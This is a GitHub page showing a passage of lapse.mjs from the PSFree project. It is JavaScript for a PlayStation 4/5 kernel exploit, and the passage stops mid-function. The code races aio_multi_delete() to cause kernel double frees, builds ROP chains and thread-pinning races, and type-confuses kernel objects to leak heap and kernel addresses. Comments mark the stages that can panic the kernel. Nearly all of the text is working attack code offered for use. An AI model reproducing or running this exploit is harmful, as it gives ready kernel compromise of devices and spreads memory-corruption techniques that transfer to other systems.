-
Notifications
You must be signed in to change notification settings - Fork 75
Expand file tree
/
Copy pathlapse.mjs
More file actions
1872 lines (1607 loc) · 56.9 KB
/
Copy pathlapse.mjs
File metadata and controls
1872 lines (1607 loc) · 56.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
// at the race_one() function here for a brief summary.
// debug comment legend:
// * PANIC - code will make the system vulnerable to a kernel panic or it will
// perform a operation that might panic
// * RESTORE - code will repair kernel panic vulnerability
// * MEMLEAK - memory leaks that our code will induce
import { Int } from './module/int64.mjs';
import { mem } from './module/mem.mjs';
import { log, die, hex, hexdump } from './module/utils.mjs';
import { cstr, jstr } from './module/memtools.mjs';
import { page_size, context_size } from './module/offset.mjs';
import { Chain } from './module/chain.mjs';
import {
View1, View2, View4,
Word, Long, Pointer,
Buffer,
} from './module/view.mjs';
import * as rop from './module/chain.mjs';
import * as config from './config.mjs';
const t1 = performance.now();
// check if we are running on a supported firmware version
const [is_ps4, version] = (() => {
const value = config.target;
const is_ps4 = (value & 0x10000) === 0;
const version = value & 0xffff;
const [lower, upper] = (() => {
if (is_ps4) {
return [0x100, 0x1250];
} else {
return [0x100, 0x1020];
}
})();
if (!(lower <= version && version < upper)) {
throw RangeError(`invalid config.target: ${hex(value)}`);
}
return [is_ps4, version];
})();
// sys/socket.h
const AF_UNIX = 1;
const AF_INET = 2;
const AF_INET6 = 28;
const SOCK_STREAM = 1;
const SOCK_DGRAM = 2;
const SOL_SOCKET = 0xffff;
const SO_REUSEADDR = 4;
const SO_LINGER = 0x80;
// netinet/in.h
const IPPROTO_TCP = 6;
const IPPROTO_UDP = 17;
const IPPROTO_IPV6 = 41;
// netinet/tcp.h
const TCP_INFO = 0x20;
const size_tcp_info = 0xec;
// netinet/tcp_fsm.h
const TCPS_ESTABLISHED = 4;
// netinet6/in6.h
const IPV6_2292PKTOPTIONS = 25;
const IPV6_PKTINFO = 46;
const IPV6_NEXTHOP = 48;
const IPV6_RTHDR = 51;
const IPV6_TCLASS = 61;
// sys/cpuset.h
const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1;
// sys/mman.h
const MAP_SHARED = 1;
const MAP_FIXED = 0x10;
// sys/rtprio.h
const RTP_SET = 1;
const RTP_PRIO_REALTIME = 2;
// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
// group. queue 0 of each group is currently unused. queue 1 has the lowest
// priority and queue 3 has the highest
//
// the SceFsstAIO workers will process entries at the main queues. they will
// refill the main queues from the corresponding wait queues each time they
// dequeue a request (e.g. fill the low priority main queue from the low
// priority wait queue)
//
// entries on the wait queue will always have a 0 ticket number. they will
// get assigned a nonzero ticket number once they get put on the main queue
const AIO_CMD_READ = 1;
const AIO_CMD_WRITE = 2;
const AIO_CMD_FLAG_MULTI = 0x1000;
const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
const AIO_STATE_COMPLETE = 3;
const AIO_STATE_ABORTED = 4;
const num_workers = 2;
// max number of requests that can be created/polled/canceled/deleted/waited
const max_aio_ids = 0x80;
// highest priority we can achieve given our credentials
const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);
// CONFIG CONSTANTS
const main_core = 7;
const num_grooms = 0x200;
const num_handles = 0x100;
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
const num_alias = 100;
const num_races = 100;
const leak_len = 16;
const num_leaks = 5;
const num_clobbers = 8;
//Payload_Loader
const PROT_READ = 1;
const PROT_WRITE = 2;
const PROT_EXEC = 4;
let chain = null;
var nogc = [];
async function init() {
await rop.init();
chain = new Chain();
// PS4 9.00
const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
}
function sys_void(...args) {
return chain.syscall_void(...args);
}
function sysi(...args) {
return chain.sysi(...args);
}
function call_nze(...args) {
const res = chain.call_int(...args);
if (res !== 0) {
die(`call(${args[0]}) returned nonzero: ${res}`);
}
}
// #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000
//
// #define SCE_KERNEL_AIO_STATE_SUBMITTED 1
// #define SCE_KERNEL_AIO_STATE_PROCESSING 2
// #define SCE_KERNEL_AIO_STATE_COMPLETED 3
// #define SCE_KERNEL_AIO_STATE_ABORTED 4
//
// typedef struct SceKernelAioResult {
// // errno / SCE error code / number of bytes processed
// int64_t returnValue;
// // SCE_KERNEL_AIO_STATE_*
// uint32_t state;
// } SceKernelAioResult;
//
// typedef struct SceKernelAioRWRequest {
// off_t offset;
// size_t nbyte;
// void *buf;
// struct SceKernelAioResult *result;
// int fd;
// } SceKernelAioRWRequest;
//
// typedef int SceKernelAioSubmitId;
//
// // SceAIO submit commands
// #define SCE_KERNEL_AIO_CMD_READ 0x001
// #define SCE_KERNEL_AIO_CMD_WRITE 0x002
// #define SCE_KERNEL_AIO_CMD_MASK 0xfff
// // SceAIO submit command flags
// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
//
// #define SCE_KERNEL_AIO_PRIORITY_LOW 1
// #define SCE_KERNEL_AIO_PRIORITY_MID 2
// #define SCE_KERNEL_AIO_PRIORITY_HIGH 3
//
// int
// aio_submit_cmd(
// u_int cmd,
// SceKernelAioRWRequest reqs[],
// u_int num_reqs,
// u_int prio,
// SceKernelAioSubmitId ids[]
// );
function aio_submit_cmd(cmd, requests, num_requests, handles) {
sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
}
// the various SceAIO syscalls that copies out errors/states will not check if
// the address is NULL and will return EFAULT. this dummy buffer will serve as
// the default argument so users don't need to specify one
const _aio_errors = new View4(max_aio_ids);
const _aio_errors_p = _aio_errors.addr;
// int
// aio_multi_delete(
// SceKernelAioSubmitId ids[],
// u_int num_ids,
// int sce_errors[]
// );
function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
sysi('aio_multi_delete', ids, num_ids, sce_errs);
}
// int
// aio_multi_poll(
// SceKernelAioSubmitId ids[],
// u_int num_ids,
// int states[]
// );
function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
sysi('aio_multi_poll', ids, num_ids, sce_errs);
}
// int
// aio_multi_cancel(
// SceKernelAioSubmitId ids[],
// u_int num_ids,
// int states[]
// );
function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
sysi('aio_multi_cancel', ids, num_ids, sce_errs);
}
// // wait for all (AND) or atleast one (OR) to finish
// // DEFAULT is the same as AND
// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
// #define SCE_KERNEL_AIO_WAIT_AND 0x01
// #define SCE_KERNEL_AIO_WAIT_OR 0x02
//
// int
// aio_multi_wait(
// SceKernelAioSubmitId ids[],
// u_int num_ids,
// int states[],
// // SCE_KERNEL_AIO_WAIT_*
// uint32_t mode,
// useconds_t *timeout
// );
function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
}
function make_reqs1(num_reqs) {
const reqs1 = new Buffer(0x28 * num_reqs);
for (let i = 0; i < num_reqs; i++) {
// .fd = -1
reqs1.write32(0x20 + i*0x28, -1);
}
return reqs1;
}
function spray_aio(
loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
) {
const step = 4 * (multi ? num_reqs : 1);
cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
for (let i = 0, idx = 0; i < loops; i++) {
aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
idx += step;
}
}
function poll_aio(ids, states, num_ids=ids.length) {
if (states !== undefined) {
states = states.addr;
}
aio_multi_poll(ids.addr, num_ids, states);
}
function cancel_aios(ids_p, num_ids) {
const len = max_aio_ids;
const rem = num_ids % len;
const num_batches = (num_ids - rem) / len;
for (let bi = 0; bi < num_batches; bi++) {
aio_multi_cancel(ids_p.add((bi << 2) * len), len);
}
if (rem) {
aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
}
}
function free_aios(ids_p, num_ids) {
const len = max_aio_ids;
const rem = num_ids % len;
const num_batches = (num_ids - rem) / len;
for (let bi = 0; bi < num_batches; bi++) {
const addr = ids_p.add((bi << 2) * len);
aio_multi_cancel(addr, len);
aio_multi_poll(addr, len);
aio_multi_delete(addr, len);
}
if (rem) {
const addr = ids_p.add((num_batches << 2) * len);
aio_multi_cancel(addr, len);
aio_multi_poll(addr, len);
aio_multi_delete(addr, len);
}
}
function free_aios2(ids_p, num_ids) {
const len = max_aio_ids;
const rem = num_ids % len;
const num_batches = (num_ids - rem) / len;
for (let bi = 0; bi < num_batches; bi++) {
const addr = ids_p.add((bi << 2) * len);
aio_multi_poll(addr, len);
aio_multi_delete(addr, len);
}
if (rem) {
const addr = ids_p.add((num_batches << 2) * len);
aio_multi_poll(addr, len);
aio_multi_delete(addr, len);
}
}
function get_our_affinity(mask) {
sysi(
'cpuset_getaffinity',
CPU_LEVEL_WHICH,
CPU_WHICH_TID,
-1,
8,
mask.addr,
);
}
function set_our_affinity(mask) {
sysi(
'cpuset_setaffinity',
CPU_LEVEL_WHICH,
CPU_WHICH_TID,
-1,
8,
mask.addr,
);
}
function close(fd) {
sysi('close', fd);
}
function new_socket() {
return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}
function new_tcp_socket() {
return sysi('socket', AF_INET, SOCK_STREAM, 0);
}
function gsockopt(sd, level, optname, optval, optlen) {
const size = new Word(optval.size);
if (optlen !== undefined) {
size[0] = optlen;
}
sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
return size[0];
}
function setsockopt(sd, level, optname, optval, optlen) {
sysi('setsockopt', sd, level, optname, optval, optlen);
}
function ssockopt(sd, level, optname, optval, optlen) {
if (optlen === undefined) {
optlen = optval.size;
}
const addr = optval.addr;
setsockopt(sd, level, optname, addr, optlen);
}
function get_rthdr(sd, buf, len) {
return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
function set_rthdr(sd, buf, len) {
ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
function free_rthdrs(sds) {
for (const sd of sds) {
setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
}
}
function build_rthdr(buf, size) {
const len = ((size >> 3) - 1) & ~1;
size = (len + 1) << 3;
buf[0] = 0;
buf[1] = len;
buf[2] = 0;
buf[3] = len >> 1;
return size;
}
function spawn_thread(thread) {
const ctx = new Buffer(context_size);
const pthread = new Pointer();
pthread.ctx = ctx;
// pivot the pthread's stack pointer to our stack
ctx.write64(0x38, thread.stack_addr);
ctx.write64(0x80, thread.get_gadget('ret'));
call_nze(
'pthread_create',
pthread.addr,
0,
chain.get_gadget('setcontext'),
ctx.addr,
);
return pthread;
}
// EXPLOIT STAGES IMPLEMENTATION
// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
function make_aliased_rthdrs(sds) {
const marker_offset = 4;
const size = 0x80;
const buf = new Buffer(size);
const rsize = build_rthdr(buf, size);
for (let loop = 0; loop < num_alias; loop++) {
for (let i = 0; i < num_sds; i++) {
buf.write32(marker_offset, i);
set_rthdr(sds[i], buf, rsize);
}
for (let i = 0; i < sds.length; i++) {
get_rthdr(sds[i], buf);
const marker = buf.read32(marker_offset);
if (marker !== i) {
log(`aliased rthdrs at attempt: ${loop}`);
const pair = [sds[i], sds[marker]];
log(`found pair: ${pair}`);
sds.splice(marker, 1);
sds.splice(i, 1);
free_rthdrs(sds);
sds.push(new_socket(), new_socket());
return pair;
}
}
}
die(`failed to make aliased rthdrs. size: ${hex(size)}`);
}
// summary of the bug at aio_multi_delete():
//
// void
// free_queue_entry(struct aio_entry *reqs2)
// {
// if (reqs2->ar2_spinfo != NULL) {
// printf(
// "[0]%s() line=%d Warning !! split info is here\n",
// __func__,
// __LINE__
// );
// }
// if (reqs2->ar2_file != NULL) {
// // we can potentially delay .fo_close()
// fdrop(reqs2->ar2_file, curthread);
// reqs2->ar2_file = NULL;
// }
// free(reqs2, M_AIO_REQS2);
// }
//
// int
// _aio_multi_delete(
// struct thread *td,
// SceKernelAioSubmitId ids[],
// u_int num_ids,
// int sce_errors[])
// {
// // ...
// struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
// // ...
// u_int rem_ids = obj->ao_rem_ids;
// if (rem_ids != 1) {
// // BUG: wlock not acquired on this path
// obj->ao_rem_ids = --rem_ids;
// // ...
// free_queue_entry(obj->ao_entries[req_idx]);
// // the race can crash because of a NULL dereference since this path
// // doesn't check if the array slot is NULL so we delay
// // free_queue_entry()
// obj->ao_entries[req_idx] = NULL;
// } else {
// // ...
// }
// // ...
// }
function race_one(request_addr, tcp_sd, barrier, racer, sds) {
const sce_errs = new View4([-1, -1]);
const thr_mask = new Word(1 << main_core);
const thr = racer;
thr.push_syscall(
'cpuset_setaffinity',
CPU_LEVEL_WHICH,
CPU_WHICH_TID,
-1,
8,
thr_mask.addr,
);
thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
thr.push_gadget('pop rax; ret');
thr.push_value(1);
thr.push_get_retval();
thr.push_call('pthread_barrier_wait', barrier.addr);
thr.push_syscall(
'aio_multi_delete',
request_addr,
1,
sce_errs.addr_at(1),
);
thr.push_call('pthread_exit', 0);
const pthr = spawn_thread(thr);
const thr_tid = pthr.read32(0);
// pthread barrier implementation:
//
// given a barrier that needs N threads for it to be unlocked, a thread
// will sleep if it waits on the barrier and N - 1 threads havent't arrived
// before
//
// if there were already N - 1 threads then that thread (last waiter) won't
// sleep and it will send out a wake-up call to the waiting threads
//
// since the ps4's cores only have 1 hardware thread each, we can pin 2
// threads on the same core and control the interleaving of their
// executions via controlled context switches
// wait for the worker to enter the barrier and sleep
while (thr.retval_int === 0) {
sys_void('sched_yield');
}
// enter the barrier as the last waiter
chain.push_call('pthread_barrier_wait', barrier.addr);
// yield and hope the scheduler runs the worker next. the worker will then
// sleep at soclose() and hopefully we run next
chain.push_syscall('sched_yield');
// if we get here and the worker hasn't been reran then we can delay the
// worker's execution of soclose() indefinitely
chain.push_syscall('thr_suspend_ucontext', thr_tid);
chain.push_get_retval();
chain.push_get_errno();
chain.push_end();
chain.run();
chain.reset();
const main_res = chain.retval_int;
log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);
if (main_res === -1) {
call_nze('pthread_join', pthr, 0);
log();
return null;
}
let won_race = false;
try {
const poll_err = new View4(1);
aio_multi_poll(request_addr, 1, poll_err.addr);
log(`poll: ${hex(poll_err[0])}`);
const info_buf = new View1(size_tcp_info);
const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
log(`info size: ${hex(info_size)}`);
if (info_size !== size_tcp_info) {
die(`info size isn't ${size_tcp_info}: ${info_size}`);
}
const tcp_state = info_buf[0];
log(`tcp_state: ${tcp_state}`);
const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
&& tcp_state !== TCPS_ESTABLISHED
) {
// PANIC: double free on the 0x80 malloc zone. important kernel
// data may alias
aio_multi_delete(request_addr, 1, sce_errs.addr);
won_race = true;
}
} finally {
log('resume thread\n');
sysi('thr_resume_ucontext', thr_tid);
call_nze('pthread_join', pthr, 0);
}
if (won_race) {
log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
// if the code has no bugs then this isn't possible but we keep the
// check for easier debugging
if (sce_errs[0] !== sce_errs[1]) {
log('ERROR: bad won_race');
die('ERROR: bad won_race');
}
// RESTORE: double freed memory has been reclaimed with harmless data
// PANIC: 0x80 malloc zone pointers aliased
return make_aliased_rthdrs(sds);
}
return null;
}
function double_free_reqs2(sds) {
function swap_bytes(x, byte_length) {
let res = 0;
for (let i = 0; i < byte_length; i++) {
res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
}
return res >>> 0;
}
function htons(x) {
return swap_bytes(x, 2);
}
function htonl(x) {
return swap_bytes(x, 4);
}
const server_addr = new Buffer(16);
// sockaddr_in.sin_family
server_addr[1] = AF_INET;
// sockaddr_in.sin_port
server_addr.write16(2, htons(5050));
// sockaddr_in.sin_addr = 127.0.0.1
server_addr.write32(4, htonl(0x7f000001));
const racer = new Chain();
const barrier = new Long();
call_nze('pthread_barrier_init', barrier.addr, 0, 2);
const num_reqs = 3;
const which_req = num_reqs - 1;
const reqs1 = make_reqs1(num_reqs);
const reqs1_p = reqs1.addr;
const aio_ids = new View4(num_reqs);
const aio_ids_p = aio_ids.addr;
const req_addr = aio_ids.addr_at(which_req);
const cmd = AIO_CMD_MULTI_READ;
const sd_listen = new_tcp_socket();
ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
sysi('bind', sd_listen, server_addr.addr, server_addr.size);
sysi('listen', sd_listen, 1);
for (let i = 0; i < num_races; i++) {
const sd_client = new_tcp_socket();
sysi('connect', sd_client, server_addr.addr, server_addr.size);
const sd_conn = sysi('accept', sd_listen, 0, 0);
// force soclose() to sleep
ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
reqs1.write32(0x20 + which_req*0x28, sd_client);
aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
aio_multi_cancel(aio_ids_p, num_reqs);
aio_multi_poll(aio_ids_p, num_reqs);
// drop the reference so that aio_multi_delete() will trigger _fdrop()
close(sd_client);
const res = race_one(req_addr, sd_conn, barrier, racer, sds);
racer.reset();
// MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
// twice. this will leave one request undeleted
aio_multi_delete(aio_ids_p, num_reqs);
close(sd_conn);
if (res !== null) {
log(`won race at attempt: ${i}`);
close(sd_listen);
call_nze('pthread_barrier_destroy', barrier.addr);
return res;
}
}
die('failed aio double free');
}
// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS
function new_evf(flags) {
const name = cstr('');
// int evf_create(char *name, uint32_t attributes, uint64_t flags)
return sysi('evf_create', name.addr, 0, flags);
}
function set_evf_flags(id, flags) {
sysi('evf_clear', id, 0);
sysi('evf_set', id, flags);
}
function free_evf(id) {
sysi('evf_delete', id);
}
function verify_reqs2(buf, offset) {
// reqs2.ar2_cmd
if (buf.read32(offset) !== AIO_CMD_WRITE) {
return false;
}
// heap addresses are prefixed with 0xffff_xxxx
// xxxx is randomized on boot
//
// heap_prefixes is a array of randomized prefix bits from a group of heap
// address candidates. if the candidates truly are from the heap, they must
// share a common prefix
const heap_prefixes = [];
// check if offsets 0x10 to 0x20 look like a kernel heap address
for (let i = 0x10; i <= 0x20; i += 8) {
if (buf.read16(offset + i + 6) !== 0xffff) {
return false;
}
heap_prefixes.push(buf.read16(offset + i + 4));
}
// check reqs2.ar2_result.state
// state is actually a 32-bit value but the allocated memory was
// initialized with zeros. all padding bytes must be 0 then
let state = buf.read32(offset + 0x38);
if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
return false;
}
// reqs2.ar2_file must be NULL since we passed a bad file descriptor to
// aio_submit_cmd()
if (!buf.read64(offset + 0x40).eq(0)) {
return false;
}
// check if offsets 0x48 to 0x50 look like a kernel address
for (let i = 0x48; i <= 0x50; i += 8) {
if (buf.read16(offset + i + 6) === 0xffff) {
// don't push kernel ELF addresses
if (buf.read16(offset + i + 4) !== 0xffff) {
heap_prefixes.push(buf.read16(offset + i + 4));
}
// offset 0x48 can be NULL
} else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
return false;
}
}
return heap_prefixes.every((e, i, a) => e === a[0]);
}
function leak_kernel_addrs(sd_pair) {
close(sd_pair[1]);
const sd = sd_pair[0];
const buf = new Buffer(0x80 * leak_len);
// type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
// must be set to >= 0xf00 in order to fully leak the contents of the rthdr
log('confuse evf with rthdr');
let evf = null;
for (let i = 0; i < num_alias; i++) {
const evfs = [];
for (let i = 0; i < num_handles; i++) {
evfs.push(new_evf(0xf00 | i << 16));
}
get_rthdr(sd, buf, 0x80);
// for simplicity, we'll assume i < 2**16
const flags32 = buf.read32(0);
evf = evfs[flags32 >>> 16];
set_evf_flags(evf, flags32 | 1);
get_rthdr(sd, buf, 0x80);
if (buf.read32(0) === flags32 | 1) {
evfs.splice(flags32 >> 16, 1);
} else {
evf = null;
}
for (const evf of evfs) {
free_evf(evf);
}
if (evf !== null) {
log(`confused rthdr and evf at attempt: ${i}`);
break;
}
}
if (evf === null) {
die('failed to confuse evf and rthdr');
}
set_evf_flags(evf, 0xff << 8);
get_rthdr(sd, buf, 0x80);
// fields we use from evf (number before the field is the offset in hex):
// struct evf:
// 0 u64 flags
// 28 struct cv cv
// 38 TAILQ_HEAD(struct evf_waiter) waiters
// evf.cv.cv_description = "evf cv"
// string is located at the kernel's mapped ELF file
const kernel_addr = buf.read64(0x28);
log(`"evf cv" string addr: ${kernel_addr}`);
// because of TAILQ_INIT(), we have:
//
// evf.waiters.tqh_last == &evf.waiters.tqh_first
//
// we now know the address of the kernel buffer we are leaking
const kbuf_addr = buf.read64(0x40).sub(0x38);
log(`kernel buffer addr: ${kbuf_addr}`);
// 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
// allocate reqs1 arrays at 0x100 malloc zone
const num_elems = 6;
// use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
// the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
// field
const ucred = kbuf_addr.add(4);
const leak_reqs = make_reqs1(num_elems);
const leak_reqs_p = leak_reqs.addr;
leak_reqs.write64(0x10, ucred);
const leak_ids_len = num_handles * num_elems;
const leak_ids = new View4(leak_ids_len);
const leak_ids_p = leak_ids.addr;
log('find aio_entry');
let reqs2_off = null;
loop: for (let i = 0; i < num_leaks; i++) {
get_rthdr(sd, buf);
spray_aio(
num_handles,
leak_reqs_p,
num_elems,
leak_ids_p,
true,
AIO_CMD_WRITE,
);
get_rthdr(sd, buf);
for (let off = 0x80; off < buf.length; off += 0x80) {
if (verify_reqs2(buf, off)) {
reqs2_off = off;
log(`found reqs2 at attempt: ${i}`);
break loop;
}
}
free_aios(leak_ids_p, leak_ids_len);
}
if (reqs2_off === null) {
die('could not leak a reqs2');
}
log(`reqs2 offset: ${hex(reqs2_off)}`);
get_rthdr(sd, buf);
const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
log('leaked aio_entry:');
hexdump(reqs2);
const reqs1_addr = new Long(reqs2.read64(0x10));
log(`reqs1_addr: ${reqs1_addr}`);
reqs1_addr.lo &= -0x100;
log(`reqs1_addr: ${reqs1_addr}`);
log('searching target_id');
let target_id = null;
let to_cancel_p = null;
let to_cancel_len = null;
for (let i = 0; i < leak_ids_len; i += num_elems) {
aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);
get_rthdr(sd, buf);
const state = buf.read32(reqs2_off + 0x38);
if (state === AIO_STATE_ABORTED) {
log(`found target_id at batch: ${i / num_elems}`);
target_id = new Word(leak_ids[i]);
leak_ids[i] = 0;
log(`target_id: ${hex(target_id)}`);
const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
log('leaked aio_entry:');
hexdump(reqs2);
const start = i + num_elems;
to_cancel_p = leak_ids.addr_at(start);
to_cancel_len = leak_ids_len - start;
break;
}
}
if (target_id === null) {
die('target_id not found');
}
cancel_aios(to_cancel_p, to_cancel_len);
free_aios2(leak_ids_p, leak_ids_len);
return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
}
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
function make_aliased_pktopts(sds) {
const tclass = new Word();
for (let loop = 0; loop < num_alias; loop++) {
for (let i = 0; i < num_sds; i++) {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
}
for (let i = 0; i < num_sds; i++) {
tclass[0] = i;
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
}
for (let i = 0; i < sds.length; i++) {
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at attempt: ${loop}`);
const pair = [sds[i], sds[marker]];
log(`found pair: ${pair}`);
sds.splice(marker, 1);
sds.splice(i, 1);
// add pktopts to the new sockets now while new allocs can't
// use the double freed memory
for (let i = 0; i < 2; i++) {
const sd = new_socket();
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
sds.push(sd);
}
return pair;
}
}
}
die('failed to make aliased pktopts');
}
function double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd, sds,